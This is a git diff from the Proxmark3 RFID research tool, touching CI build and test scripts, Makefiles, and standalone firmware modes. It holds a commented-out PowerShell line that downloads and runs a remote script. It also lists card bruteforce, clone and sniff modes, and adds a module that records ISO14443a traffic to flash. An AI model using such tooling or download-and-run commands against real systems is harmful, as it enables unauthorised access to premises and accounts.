C:\ProxSpace\pm3\armsrc\obj\*.elf C:\ProxSpace\Release\arm - - Copy-Item C:\ProxSpace\pm3\bootrom\obj\*.elf C:\ProxSpace\Release\arm - - New-Item -ItemType Directory -Force -Path C:\ProxSpace\Release\scripts - - Copy-Item C:\ProxSpace\pm3\client\scripts\*.lua C:\ProxSpace\Release\scripts - - New-Item -ItemType Directory -Force -Path C:\ProxSpace\Release\hardnested\tables - - Copy-Item C:\ProxSpace\pm3\client\hardnested\*.bin C:\ProxSpace\Release\hardnested - - Copy-Item C:\ProxSpace\pm3\client\hardnested\tables\*.bin.z C:\ProxSpace\Release\hardnested\tables - # dll files - Copy-Item C:\ProxSpace\msys2\mingw32\bin\libgcc_s_dw2-1.dll C:\ProxSpace\Release + Copy-Item C:\ProxSpace\msys2\mingw32\bin\libgcc_s_dw2-1.dll C:\ProxSpace\pm3\Release\bin - Copy-Item C:\ProxSpace\msys2\mingw32\bin\libstdc++-6.dll C:\ProxSpace\Release + Copy-Item C:\ProxSpace\msys2\mingw32\bin\libstdc++-6.dll C:\ProxSpace\pm3\Release\bin - Copy-Item C:\ProxSpace\msys2\mingw32\bin\libwinpthread-1.dll C:\ProxSpace\Release + Copy-Item C:\ProxSpace\msys2\mingw32\bin\libwinpthread-1.dll C:\ProxSpace\pm3\Release\bin - Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Core.dll C:\ProxSpace\Release + Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Core.dll C:\ProxSpace\pm3\Release\bin - Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Gui.dll C:\ProxSpace\Release + Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Gui.dll C:\ProxSpace\pm3\Release\bin - Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Widgets.dll C:\ProxSpace\Release + Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Widgets.dll C:\ProxSpace\pm3\Release\bin - Copy-Item C:\ProxSpace\msys2\mingw32\bin\libreadline*.dll C:\ProxSpace\Release + Copy-Item C:\ProxSpace\msys2\mingw32\bin\libreadline*.dll C:\ProxSpace\pm3\Release\bin - Copy-Item C:\ProxSpace\msys2\mingw32\bin\libtermcap-0.dll C:\ProxSpace\Release + Copy-Item C:\ProxSpace\msys2\mingw32\bin\libtermcap-0.dll C:\ProxSpace\pm3\Release\bin Write-Host "[ OK ]" -ForegroundColor Green @@ -199,7 +257,7 @@ build_script: cd C:\ProxSpace - 7z a release.zip C:\ProxSpace\Release + 7z a release.zip C:\ProxSpace\pm3\Release Push-AppveyorArtifact release.zip -DeploymentName "$releasename" @@ -218,7 +276,7 @@ test_script: Function ExecTest($Name, $File, $Cmd, $CheckResult) { - + #--- begin Job $Job = Start-Job -ScriptBlock { @@ -256,6 +314,13 @@ test_script: if ($Cond -is "String" -and $Cond -like "*true*"){ $res= $true } + ForEach($line in $Cond){ + if ($line -like "*passed*"){ + $res = $true + $Cond = $line + break + } + } } Else { $res=$Cond } @@ -287,6 +352,7 @@ test_script: Remove-Job -Force $Job if(!$res){ + Write-host "--------------------- tests fail" -ForegroundColor Red $global:TestsPassed=$false } } @@ -297,34 +363,39 @@ test_script: #file test - ExecTest "proxmark3 exists" "proxmark3.exe" {Test-Path C:\ProxSpace\Release\proxmark3.exe} + ExecTest "proxmark3 exists" "proxmark3.exe" {Test-Path C:\ProxSpace\pm3\Release\bin\proxmark3.exe} - ExecTest "arm image exists" "\arm\fullimage1.elf" {Test-Path C:\ProxSpace\Release\arm\fullimage.elf} + ExecTest "arm bootrom exists" "bootrom.elf" {Test-Path C:\ProxSpace\pm3\Release\share\proxmark3\firmware\bootrom.elf} - ExecTest "bootrom exists" "bootrom.elf" {Test-Path C:\ProxSpace\Release\arm\bootrom.elf} + ExecTest "arm image exists" "fullimage.elf" {Test-Path C:\ProxSpace\pm3\Release\share\proxmark3\firmware\fullimage.elf} - ExecTest "hardnested tables exists" "hardnested" {Test-Path C:\ProxSpace\Release\hardnested\tables\*.z} + ExecTest "arm recovery image exists" "proxmark3_recovery.bin" {Test-Path C:\ProxSpace\pm3\Release\share\proxmark3\firmware\proxmark3_recovery.bin} + + ExecTest "hardnested tables exists" "hardnested" {Test-Path C:\ProxSpace\pm3\Release\share\proxmark3\resources\hardnested_tables\*.z} ExecTest "release exists" "release.zip" {Test-Path C:\ProxSpace\release.zip} #proxmark logic tests - ExecTest "proxmark help" "proxmark3 -h" {bash -lc 'cd ~/client;./proxmark3 -h | grep -q wait && echo Passed || echo Failed'} + ExecTest "proxmark help" "proxmark3 -h" {bash -lc 'cd ~/client;./proxmark3 -h 2>&1 | grep -q wait && echo passed || echo failed'} - ExecTest "proxmark help text ISO7816" "proxmark3 -t" {bash -lc 'cd ~/client;./proxmark3 -t 2>&1 | grep -q ISO7816 && echo Passed || echo Failed'} + ExecTest "proxmark help text ISO7816" "proxmark3 -t" {bash -lc 'cd ~/client;./proxmark3 -t 2>&1 | grep -q ISO7816 && echo passed || echo failed'} - ExecTest "proxmark help text hardnested" "proxmark3 -t" {bash -lc 'cd ~/client;./proxmark3 -t 2>&1 | grep -q hardnested && echo Passed || echo Failed'} + ExecTest "proxmark help text hardnested" "proxmark3 -t" {bash -lc 'cd ~/client;./proxmark3 -t 2>&1 | grep -q hardnested && echo passed || echo failed'} ExecTest "hf mf offline text" "hf mf" {bash -lc "cd ~/client;./proxmark3 -c 'hf mf'"} "at_enc" - ExecTest "hf mf hardnested" "hf mf hardnested" {bash -lc "cd ~/client;./proxmark3 -c 'hf mf hardnested t 1 000000000000'"} "found:" - - #proxmark crypto tests - ExecTest "emv test" "emv test" {bash -lc "cd ~/client;./proxmark3 -c 'emv test'"} "Test?s? ? OK" + # Long tests: + # ExecTest "hf mf hardnested" "hf mf hardnested" {bash -lc "cd ~/client;./proxmark3 -c 'hf mf hardnested t 1 000000000000'"} "found:" + # ExecTest "hf mf iclass" "hf mf iclass" {bash -lc "cd ~/client;./proxmark3 -c 'hf iclass loclass t l'"} "verified ok" + # ExecTest "emv test" "emv test" {bash -lc "cd ~/client;./proxmark3 -c 'emv test -i -l'"} "Test?s? ? OK" + # Short tests: + ExecTest "hf mf iclass" "hf mf iclass" {bash -lc "cd ~/client;./proxmark3 -c 'hf iclass loclass t'"} "OK!" + ExecTest "emv test" "emv test" {bash -lc "cd ~/client;./proxmark3 -c 'emv test -i'"} "Test?s? ? OK" if ($global:TestsPassed) { @@ -338,4 +409,4 @@ on_success: on_failure: - ps: Write-Host "Build error." -ForegroundColor Red on_finish: -- ps: $blockRdp = $false; iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/appveyor/ci/master/scripts/enable-rdp.ps1')) +- ps: # $blockRdp = $false; iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/appveyor/ci/master/scripts/enable-rdp.ps1')) diff --git a/armsrc/BigBuf.c b/armsrc/BigBuf.c index 7b199930a..765d230a5 100644 --- a/armsrc/BigBuf.c +++ b/armsrc/BigBuf.c @@ -10,6 +10,9 @@ //----------------------------------------------------------------------------- #include "BigBuf.h" +#include "string.h" +#include "dbprint.h" + // BigBuf is the large multi-purpose buffer, typically used to hold A/D samples or traces. // Also used to hold various smaller buffers and the Mifare Emulator Memory. // declare it as uint32_t to achieve alignment to 4 Byte boundary @@ -112,9 +115,11 @@ uint16_t BigBuf_max_traceLen(void) { void clear_trace(void) { traceLen = 0; } + void set_tracelen(uint32_t value) { traceLen = value; } + void set_tracing(bool enable) { tracing = enable; } diff --git a/armsrc/BigBuf.h b/armsrc/BigBuf.h index 12f2521c6..ad967c4c7 100644 --- a/armsrc/BigBuf.h +++ b/armsrc/BigBuf.h @@ -12,10 +12,7 @@ #ifndef __BIGBUF_H #define __BIGBUF_H -#include // for bool -#include "proxmark3.h" -#include "string.h" -#include "ticks.h" +#include "common.h" #define BIGBUF_SIZE 40000 #define MAX_FRAME_SIZE 256 // maximum allowed ISO14443 frame @@ -43,4 +40,5 @@ void set_tracelen(uint32_t value); bool get_tracing(void); bool RAMFUNC LogTrace(const uint8_t *btBytes, uint16_t iLen, uint32_t timestamp_start, uint32_t timestamp_end, uint8_t *parity, bool readerToTag); uint8_t emlSet(uint8_t *data, uint32_t offset, uint32_t length); + #endif /* __BIGBUF_H */ diff --git a/armsrc/LCD.c b/armsrc/LCD_disabled.c similarity index 99% rename from armsrc/LCD.c rename to armsrc/LCD_disabled.c index 32a917928..97bf6da71 100644 --- a/armsrc/LCD.c +++ b/armsrc/LCD_disabled.c @@ -5,7 +5,7 @@ //----------------------------------------------------------------------------- // LCD code //----------------------------------------------------------------------------- -#include "LCD.h" +#include "LCD_disabled.h" void LCDSend(unsigned int data) { // 9th bit set for data, clear for command diff --git a/armsrc/LCD.h b/armsrc/LCD_disabled.h similarity index 98% rename from armsrc/LCD.h rename to armsrc/LCD_disabled.h index 968c90246..ed765298f 100644 --- a/armsrc/LCD.h +++ b/armsrc/LCD_disabled.h @@ -9,10 +9,6 @@ #ifndef __LCD_H #define __LCD_H -#include "proxmark3.h" -#include "apps.h" -#include "fonts.h" - // The resolution of the LCD #define LCD_XRES 132 #define LCD_YRES 132 diff --git a/armsrc/Makefile b/armsrc/Makefile index 7fda76b99..12819c3d0 100644 --- a/armsrc/Makefile +++ b/armsrc/Makefile @@ -2,16 +2,14 @@ # at your option, any later version. See the LICENSE.txt file for the text of # the license. #----------------------------------------------------------------------------- -# Makefile for armsrc, see ../common/Makefile.common for common settings +# Makefile for armsrc, see ../common_arm/Makefile.common for common settings #----------------------------------------------------------------------------- -APP_INCLUDES = apps.h - # This Makefile might have been called directly, not via the root Makefile, so: ifeq ($(PLTNAME),) -include ../Makefile.platform -include ../.Makefile.options.cache - include ../common/Makefile.hal + include ../common_arm/Makefile.hal # detect if there were changes in the platform definitions, requiring a clean ifeq ($(PLATFORM_CHANGED), true) $(error platform definitions have been changed, please "make clean" at the root of the project) @@ -25,22 +23,27 @@ APP_CFLAGS = $(PLATFORM_DEFS) \ -DON_DEVICE \ -fno-strict-aliasing -ffunction-sections -fdata-sections -SRC_LF = lfops.c lfsampling.c pcf7931.c lfdemod.c +SRC_LF = lfops.c lfsampling.c pcf7931.c lfdemod.c lfadc.c SRC_ISO15693 = iso15693.c iso15693tools.c SRC_ISO14443a = iso14443a.c mifareutil.c mifarecmd.c epa.c mifaresim.c +#UNUSED: mifaresniff.c desfire_crypto.c SRC_ISO14443b = iso14443b.c SRC_FELICA = felica.c -SRC_CRAPTO1 = crypto1.c des.c aes.c desfire_key.c desfire_crypto.c mifaredesfire.c +SRC_CRAPTO1 = crypto1.c des.c desfire_key.c mifaredesfire.c aes.c platform_util.c SRC_CRC = crc.c crc16.c crc32.c SRC_ICLASS = iclass.c optimized_cipher.c SRC_LEGIC = legicrf.c legicrfsim.c legic_prng.c +SRC_NFCBARCODE = thinfilm.c + # SRC_BEE = bee.c # RDV40 related hardware support ifneq (,$(findstring WITH_FLASH,$(APP_CFLAGS))) SRC_FLASH = flashmem.c + SRC_SPIFFS = spiffs.c spiffs_cache.c spiffs_check.c spiffs_gc.c spiffs_nucleus.c spiffs_hydrogen.c else SRC_FLASH = + SRC_SPIFFS = endif ifneq (,$(findstring WITH_SMARTCARD,$(APP_CFLAGS))) @@ -68,41 +71,7 @@ else endif # Generic standalone Mode injection of source code - - -SRC_STANDALONE = placeholder.c -# WITH_STANDALONE_LF_ICERUN -ifneq (,$(findstring WITH_STANDALONE_LF_ICERUN,$(APP_CFLAGS))) - SRC_STANDALONE = lf_icerun.c -endif -# WITH_STANDALONE_LF_SAMYRUN -ifneq (,$(findstring WITH_STANDALONE_LF_SAMYRUN,$(APP_CFLAGS))) - SRC_STANDALONE = lf_samyrun.c -endif -# WITH_STANDALONE_LF_PROXBRUTE -ifneq (,$(findstring WITH_STANDALONE_LF_PROXBRUTE,$(APP_CFLAGS))) - SRC_STANDALONE = lf_proxbrute.c -endif -# WITH_STANDALONE_LF_HIDBRUTE -ifneq (,$(findstring WITH_STANDALONE_LF_HIDBRUTE,$(APP_CFLAGS))) - SRC_STANDALONE = lf_hidbrute.c -endif -# WITH_STANDALONE_HF_YOUNG -ifneq (,$(findstring WITH_STANDALONE_HF_YOUNG,$(APP_CFLAGS))) - SRC_STANDALONE = hf_young.c -endif -# WITH_STANDALONE_HF_MATTYRUN -ifneq (,$(findstring WITH_STANDALONE_HF_MATTYRUN,$(APP_CFLAGS))) - SRC_STANDALONE = hf_mattyrun.c -endif -# WITH_STANDALONE_HF_COLIN -ifneq (,$(findstring WITH_STANDALONE_HF_COLIN,$(APP_CFLAGS))) - SRC_STANDALONE = vtsend.c hf_colin.c -endif -# WITH_STANDALONE_HF_BOG -ifneq (,$(findstring WITH_STANDALONE_HF_BOG,$(APP_CFLAGS))) - SRC_STANDALONE = hf_bog.c -endif +include Standalone/Makefile.inc #the FPGA bitstream files. Note: order matters! FPGA_BITSTREAMS = fpga_lf.bit fpga_hf.bit @@ -113,7 +82,7 @@ SRC_ZLIB = inflate.c inffast.c inftrees.c adler32.c zutil.c ZLIB_CFLAGS = -DZ_SOLO -DZ_PREFIX -DNO_GZIP -DZLIB_PM3_TUNED APP_CFLAGS += $(ZLIB_CFLAGS) # zlib includes: -APP_CFLAGS += -I../zlib +APP_CFLAGS += -I../common/zlib # stdint.h provided locally until GCC 4.5 becomes C99 compliant, # stack-protect , no-pie reduces size on Gentoo Hardened 8.2 gcc @@ -121,9 +90,9 @@ APP_CFLAGS += -I. -fno-stack-protector -fno-pie # Compile these in thumb mode (small size) THUMBSRC = start.c \ - protocols.c \ $(SRC_LCD) \ $(SRC_ISO15693) \ + $(SRC_NFCBARCODE) \ $(SRC_LF) \ $(SRC_ZLIB) \ $(SRC_LEGIC) \ @@ -131,13 +100,16 @@ THUMBSRC = start.c \ $(SRC_SMARTCARD) \ $(SRC_FPC) \ $(SRC_HITAG) \ + $(SRC_SPIFFS) \ appmain.c \ printf.c \ + dbprint.c \ commonutil.c \ util.c \ string.c \ BigBuf.c \ ticks.c \ + clocks.c \ hfsnoop.c @@ -159,12 +131,19 @@ VERSIONSRC = version.c \ fpga_version_info.c # Do not move this inclusion before the definition of {THUMB,ASM,ARM}SRC -include ../common/Makefile.common +include ../common_arm/Makefile.common COMMON_FLAGS = -Os +INSTALLFW = $(OBJDIR)/fullimage.elf +ifneq (,$(FWTAG)) + INSTALLFWTAG = $(notdir $(INSTALLFW:%.elf=%-$(FWTAG).elf)) +else + INSTALLFWTAG = $(notdir $(INSTALLFW)) +endif + OBJS = $(OBJDIR)/fullimage.s19 -FPGA_COMPRESSOR = ../client/fpga_compress +FPGA_COMPRESSOR = ../tools/fpga_compress/fpga_compress all: $(OBJS) @@ -173,9 +152,9 @@ all: $(OBJS) # version.c should be remade on every time fullimage.stage1.elf should be remade version.c: default_version.c $(OBJDIR)/fpga_version_info.o $(OBJDIR)/fpga_all.o $(THUMBOBJ) $(ARMOBJ) $(info [-] GEN $@) - $(Q)perl ../tools/mkversion.pl .. > $@ || $(COPY) $^ $@ + $(Q)sh ../tools/mkversion.sh > $@ || perl ../tools/mkversion.pl > $@ || $(CP) $^ $@ -fpga_version_info.c: $(FPGA_BITSTREAMS) $(FPGA_COMPRESSOR) +fpga_version_info.c: $(FPGA_BITSTREAMS) | $(FPGA_COMPRESSOR) $(info [-] GEN $@) $(Q)$(FPGA_COMPRESSOR) -v $(filter %.bit,$^) $@ @@ -183,7 +162,7 @@ $(OBJDIR)/fpga_all.o: $(OBJDIR)/fpga_all.bit.z $(info [-] GEN $@) $(Q)$(OBJCOPY) -O elf32-littlearm -I binary -B arm --prefix-sections=fpga_all_bit $^ $@ -$(OBJDIR)/fpga_all.bit.z: $(FPGA_BITSTREAMS) $(FPGA_COMPRESSOR) +$(OBJDIR)/fpga_all.bit.z: $(FPGA_BITSTREAMS) | $(FPGA_COMPRESSOR) $(info [-] GEN $@) ifeq ($(Q),@) @$(FPGA_COMPRESSOR) $(filter %.bit,$^) $@ >/dev/null @@ -192,8 +171,8 @@ else endif $(FPGA_COMPRESSOR): - $(info [*] MAKE $@) - $(Q)$(MAKE) --no-print-directory -C ../client $(notdir $(FPGA_COMPRESSOR)) + $(error [!] MISSING $@ => To build it, go the root of the repo and do "make $(notdir $@)") + $(error [!] MISSING $@) $(OBJDIR)/fullimage.stage1.elf: $(VERSIONOBJ) $(OBJDIR)/fpga_all.o $(THUMBOBJ) $(ARMOBJ) $(info [=] LD $@) @@ -211,7 +190,7 @@ $(OBJDIR)/fullimage.data.bin: $(OBJDIR)/fullimage.stage1.elf $(info [-] GEN $@) $(Q)$(OBJCOPY) -O binary -I elf32-littlearm --only-section .data $^ $@ -$(OBJDIR)/fullimage.data.bin.z: $(OBJDIR)/fullimage.data.bin $(FPGA_COMPRESSOR) +$(OBJDIR)/fullimage.data.bin.z: $(OBJDIR)/fullimage.data.bin | $(FPGA_COMPRESSOR) $(info [-] GEN $@) ifeq ($(Q),@) @$(FPGA_COMPRESSOR) $(filter %.bin,$^) $@ >/dev/null @@ -232,18 +211,29 @@ tarbin: $(OBJS) $(Q)$(TAR) $(TARFLAGS) ../proxmark3-$(platform)-bin.tar $(OBJS:%=armsrc/%) $(OBJS:%.s19=armsrc/%.elf) clean: - $(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.o - $(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.elf - $(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.s19 - $(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.map - $(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.d - $(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.z - $(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.bin - $(Q)$(DELETE) version.c + $(Q)$(RM) $(DEPENDENCY_FILES) + $(Q)$(RM) $(OBJDIR)$(PATHSEP)*.o + $(Q)$(RM) $(OBJDIR)$(PATHSEP)*.elf + $(Q)$(RM) $(OBJDIR)$(PATHSEP)*.s19 + $(Q)$(RM) $(OBJDIR)$(PATHSEP)*.map + $(Q)$(RM) $(OBJDIR)$(PATHSEP)*.d + $(Q)$(RM) $(OBJDIR)$(PATHSEP)*.z + $(Q)$(RM) $(OBJDIR)$(PATHSEP)*.bin + $(Q)$(RM) version.c -.PHONY: all clean help +install: all + $(info [@] Installing fullimage to $(DESTDIR)$(PREFIX)...) + $(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH) + $(Q)$(CP) $(INSTALLFW) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)$(PATHSEP)$(INSTALLFWTAG) + +uninstall: + $(info [@] Uninstalling fullimage from $(DESTDIR)$(PREFIX)...) + $(Q)$(RM) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)$(PATHSEP)$(INSTALLFWTAG) + +.PHONY: all clean help install uninstall help: @echo Multi-OS Makefile, you are running on $(DETECTED_OS) @echo Possible targets: @echo + all - Build the full image $(OBJDIR)/fullimage.s19 @echo + clean - Clean $(OBJDIR) + diff --git a/armsrc/Standalone/Makefile.hal b/armsrc/Standalone/Makefile.hal new file mode 100644 index 000000000..e3ad8accb --- /dev/null +++ b/armsrc/Standalone/Makefile.hal @@ -0,0 +1,69 @@ +# Default standalone if no standalone specified +DEFAULT_STANDALONE=LF_SAMYRUN +HELP_EXAMPLE_STANDALONE=HF_YOUNG +# (you can set explicitly STANDALONE= to disable standalone modes) +STANDALONE?=$(DEFAULT_STANDALONE) +STANDALONE_REQ_DEFS= + +define KNOWN_STANDALONE_DEFINITIONS ++==========================================================+ +| STANDALONE | DESCRIPTION | ++==========================================================+ +| (empty) | No standalone mode | ++----------------------------------------------------------+ +| LF_SAMYRUN | HID26 read/clone/sim | +| (default) | - Samy Kamkar | ++----------------------------------------------------------+ +| LF_ICERUN | standalone mode skeleton | +| | - iceman | ++----------------------------------------------------------+ +| LF_PROXBRUTE | HID ProxII bruteforce | +| | - Brad Antoniewicz | ++----------------------------------------------------------+ +| LF_HIDBRUTE | HID corporate 1000 bruteforce | +| | - Federico dotta & Maurizio Agazzini | ++----------------------------------------------------------+ +| HF_YOUNG | Mifare sniff/simulation | +| | - Craig Young | ++----------------------------------------------------------+ +| HF_MATTYRUN | Mifare sniff/clone | +| | - Matías A. Ré Medina | ++----------------------------------------------------------+ +| HF_COLIN | Mifare ultra fast sniff/sim/clone | +| (RDV4 only) | - Colin Brigato | ++----------------------------------------------------------+ +| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth | +| (RDV4 only) | storing in flashmem - Bogito | ++----------------------------------------------------------+ +| HF_14ASNIFF | 14a sniff to flashmem | +| (RDV4 only) | | ++----------------------------------------------------------+ +| LF_ICEHID | LF HID collector to flashmem | +| (RDV4 only) | | ++----------------------------------------------------------+ +| LF_EM4100EMUL | Simulate predefined em4100 tags only | +| | | ++----------------------------------------------------------+ +| LF_EM4100RWC | Read/simulate em4100 tags & clone it | +| | to T555x tags | ++----------------------------------------------------------+ +| HF_LEGIC | Read/simulate Legic Prime tags | +| | storing in flashmem | ++----------------------------------------------------------+ +endef + +STANDALONE_MODES := LF_SAMYRUN LF_ICERUN LF_PROXBRUTE LF_HIDBRUTE LF_ICEHID LF_EM4100EMUL LF_EM4100RWC +STANDALONE_MODES += HF_YOUNG HF_MATTYRUN HF_COLIN HF_BOG HF_14ASNIFF HF_LEGIC +STANDALONE_MODES_REQ_SMARTCARD := +STANDALONE_MODES_REQ_FLASH := HF_COLIN HF_BOG HF_14ASNIFF LF_ICEHID +ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES)),) + STANDALONE_PLATFORM_DEFS += -DWITH_STANDALONE_$(STANDALONE) + ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES_REQ_SMARTCARD)),) + STANDALONE_REQ_DEFS += -DWITH_SMARTCARD + endif + ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES_REQ_FLASH)),) + STANDALONE_REQ_DEFS += -DWITH_FLASH + endif +else ifneq ($(STANDALONE),) + $(error Invalid STANDALONE: $(STANDALONE). $(KNOWN_DEFINITIONS)) +endif diff --git a/armsrc/Standalone/Makefile.inc b/armsrc/Standalone/Makefile.inc new file mode 100644 index 000000000..4b480ad3a --- /dev/null +++ b/armsrc/Standalone/Makefile.inc @@ -0,0 +1,55 @@ +# Generic standalone Mode injection of source code + +SRC_STANDALONE = placeholder.c +# WITH_STANDALONE_LF_ICERUN +ifneq (,$(findstring WITH_STANDALONE_LF_ICERUN,$(APP_CFLAGS))) + SRC_STANDALONE = lf_icerun.c +endif +# WITH_STANDALONE_LF_SAMYRUN +ifneq (,$(findstring WITH_STANDALONE_LF_SAMYRUN,$(APP_CFLAGS))) + SRC_STANDALONE = lf_samyrun.c +endif +# WITH_STANDALONE_LF_PROXBRUTE +ifneq (,$(findstring WITH_STANDALONE_LF_PROXBRUTE,$(APP_CFLAGS))) + SRC_STANDALONE = lf_proxbrute.c +endif +# WITH_STANDALONE_LF_HIDBRUTE +ifneq (,$(findstring WITH_STANDALONE_LF_HIDBRUTE,$(APP_CFLAGS))) + SRC_STANDALONE = lf_hidbrute.c +endif +# WITH_STANDALONE_HF_YOUNG +ifneq (,$(findstring WITH_STANDALONE_HF_YOUNG,$(APP_CFLAGS))) + SRC_STANDALONE = hf_young.c +endif +# WITH_STANDALONE_HF_MATTYRUN +ifneq (,$(findstring WITH_STANDALONE_HF_MATTYRUN,$(APP_CFLAGS))) + SRC_STANDALONE = hf_mattyrun.c +endif +# WITH_STANDALONE_HF_COLIN +ifneq (,$(findstring WITH_STANDALONE_HF_COLIN,$(APP_CFLAGS))) + SRC_STANDALONE = vtsend.c hf_colin.c frozen.c nprintf.c +endif +# WITH_STANDALONE_HF_BOG +ifneq (,$(findstring WITH_STANDALONE_HF_BOG,$(APP_CFLAGS))) + SRC_STANDALONE = hf_bog.c +endif +# WITH_STANDALONE_HF_14ASNIFF +ifneq (,$(findstring WITH_STANDALONE_HF_14ASNIFF,$(APP_CFLAGS))) + SRC_STANDALONE = hf_14asniff.c +endif +# WITH_STANDALONE_LF_ICEHID +ifneq (,$(findstring WITH_STANDALONE_LF_ICEHID,$(APP_CFLAGS))) + SRC_STANDALONE = lf_icehid.c +endif +# WITH_STANDALONE_LF_EM4100EMUL +ifneq (,$(findstring WITH_STANDALONE_LF_EM4100EMUL,$(APP_CFLAGS))) + SRC_STANDALONE = lf_em4100emul.c +endif +# WITH_STANDALONE_LF_EM4100RWC +ifneq (,$(findstring WITH_STANDALONE_LF_EM4100RWC,$(APP_CFLAGS))) + SRC_STANDALONE = lf_em4100rwc.c +endif +# WITH_STANDALONE_HF_LEGIC +ifneq (,$(findstring WITH_STANDALONE_HF_LEGIC,$(APP_CFLAGS))) + SRC_STANDALONE = hf_legic.c +endif diff --git a/armsrc/Standalone/hf_14asniff.c b/armsrc/Standalone/hf_14asniff.c new file mode 100644 index 000000000..706a41b8b --- /dev/null +++ b/armsrc/Standalone/hf_14asniff.c @@ -0,0 +1,124 @@ +//----------------------------------------------------------------------------- +// Copyright 2020 Michael Farrell +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// main code for standalone HF/iso14a Sniff to flash +//----------------------------------------------------------------------------- + +/* + * `hf_14asniff` passively sniffs ISO14a frames, and stores them in internal + * flash. It requires RDV4 hardware (for flash and battery). + * + * This module is similar to hf_bog (which only logs ULC/NTAG/ULEV1 auth). + * + * On entering stand-alone mode, this module will start sniffing ISO14a frames. + * This will be stored in the normal trace buffer (ie: in RAM -- will be lost + * at power-off). + * + * Short-pressing the button again will stop sniffing, and at _this_ point + * append trace data from RAM to a file in flash (hf_14asniff.trc) and unmount. + * + * Once the data is saved, standalone mode will exit. + * + * LEDs: + * - LED1: sniffing + * - LED2: sniffed tag command, turns off when finished sniffing reader command + * - LED3: sniffed reader command, turns off when finished sniffing tag command + * - LED4: unmounting/sync'ing flash (normally < 100ms) + * + * To retrieve trace data from flash: + * + * 1. mem spiffs dump o hf_14asniff.trc f trace.trc + * Copies trace data file from flash to your PC. + * + * 2. trace load trace.trc + * Loads trace data from a file into PC-side buffers. + * + * 3. For ISO14a: trace list 14a 1 + * For MIFARE Classic: trace list mf 1 + * + * Lists trace data from buffer without requesting it from PM3. + * + * This module emits debug strings during normal operation -- so try it out in + * the lab connected to PM3 client before taking it into the field. + * + * To delete the trace data from flash: + * + * Caveats / notes: + * - Trace buffer will be cleared on starting stand-alone mode. Data in flash + * will remain unless explicitly deleted. + * - This module will terminate if the trace buffer is full (and save data to + * flash). + * - Like normal sniffing mode, timestamps overflow after 5 min 16 sec. + * However, the trace buffer is sequential, so will be in the correct order. + */ + +#include "standalone.h" // standalone definitions +#include "proxmark3_arm.h" +#include "iso14443a.h" +#include "util.h" +#include "spiffs.h" +#include "appmain.h" +#include "dbprint.h" +#include "ticks.h" +#include "BigBuf.h" + +#define HF_14ASNIFF_LOGFILE "hf_14asniff.trc" + +void DownloadTraceInstructions() { + Dbprintf(""); + Dbprintf("To get the trace from flash and display it:"); + Dbprintf("1. mem spiffs dump o "HF_14ASNIFF_LOGFILE" f trace.trc"); + Dbprintf("2. trace load trace.trc"); + Dbprintf("3. trace list 14a 1"); +} + +void ModInfo(void) { + DbpString("hf_14asniff: standalone 'hf 14a sniff', storing in flashmem"); + DownloadTraceInstructions(); +} + +void RunMod() { + StandAloneMode(); + + Dbprintf("Starting standalone mode: hf_14asniff"); + rdv40_spiffs_lazy_mount(); + + SniffIso14443a(0); + + Dbprintf("Stopped sniffing"); + SpinDelay(200); + + // Write stuff to spiffs logfile + uint32_t trace_len = BigBuf_get_traceLen(); + if (trace_len > 0) { + Dbprintf("[!] Trace length (bytes) = %u", trace_len); + + uint8_t *trace_buffer = BigBuf_get_addr(); + if (!exists_in_spiffs(HF_14ASNIFF_LOGFILE)) { + rdv40_spiffs_write( + HF_14ASNIFF_LOGFILE, trace_buffer, trace_len, RDV40_SPIFFS_SAFETY_SAFE); + Dbprintf("[!] Wrote trace to "HF_14ASNIFF_LOGFILE); + } else { + rdv40_spiffs_append( + HF_14ASNIFF_LOGFILE, trace_buffer, trace_len, RDV40_SPIFFS_SAFETY_SAFE); + Dbprintf("[!] Appended trace to "HF_14ASNIFF_LOGFILE); + } + } else { + Dbprintf("[!] Trace buffer is empty, nothing to write!"); + } + + LED_D_ON(); + rdv40_spiffs_lazy_unmount(); + LED_D_OFF(); + + SpinErr(LED_A, 200, 5); + SpinDelay(100); + + LEDsoff(); + SpinDelay(300); + DownloadTraceInstructions(); +} diff --git a/armsrc/Standalone/hf_bog.c b/armsrc/Standalone/hf_bog.c index 0ee0a9066..d1cc2e202 100644 --- a/armsrc/Standalone/hf_bog.c +++ b/armsrc/Standalone/hf_bog.c @@ -15,11 +15,22 @@ The retrieved sniffing session can be acquired by connecting the device to a client that supports the reconnect capability and issue 'hf 14a list'. In order to view the grabbed authentication attempts in the flash mem, -you can simply run 'script run read_pwd_mem' or just 'mem read l 256' +you can simply run 'script run read_pwd_mem' or just 'mem dump p l 256' from the client to view the stored quadlets. */ -#include "hf_bog.h" +#include "standalone.h" // standalone definitions +#include "proxmark3_arm.h" +#include "iso14443a.h" +#include "protocols.h" +#include "util.h" +#include "spiffs.h" +#include "appmain.h" +#include "fpgaloader.h" +#include "dbprint.h" +#include "ticks.h" +#include "BigBuf.h" +#include "string.h" #define DELAY_READER_AIR2ARM_AS_SNIFFER (2 + 3 + 8) #define DELAY_TAG_AIR2ARM_AS_SNIFFER (3 + 14 + 8) @@ -27,35 +38,7 @@ from the client to view the stored quadlets. // 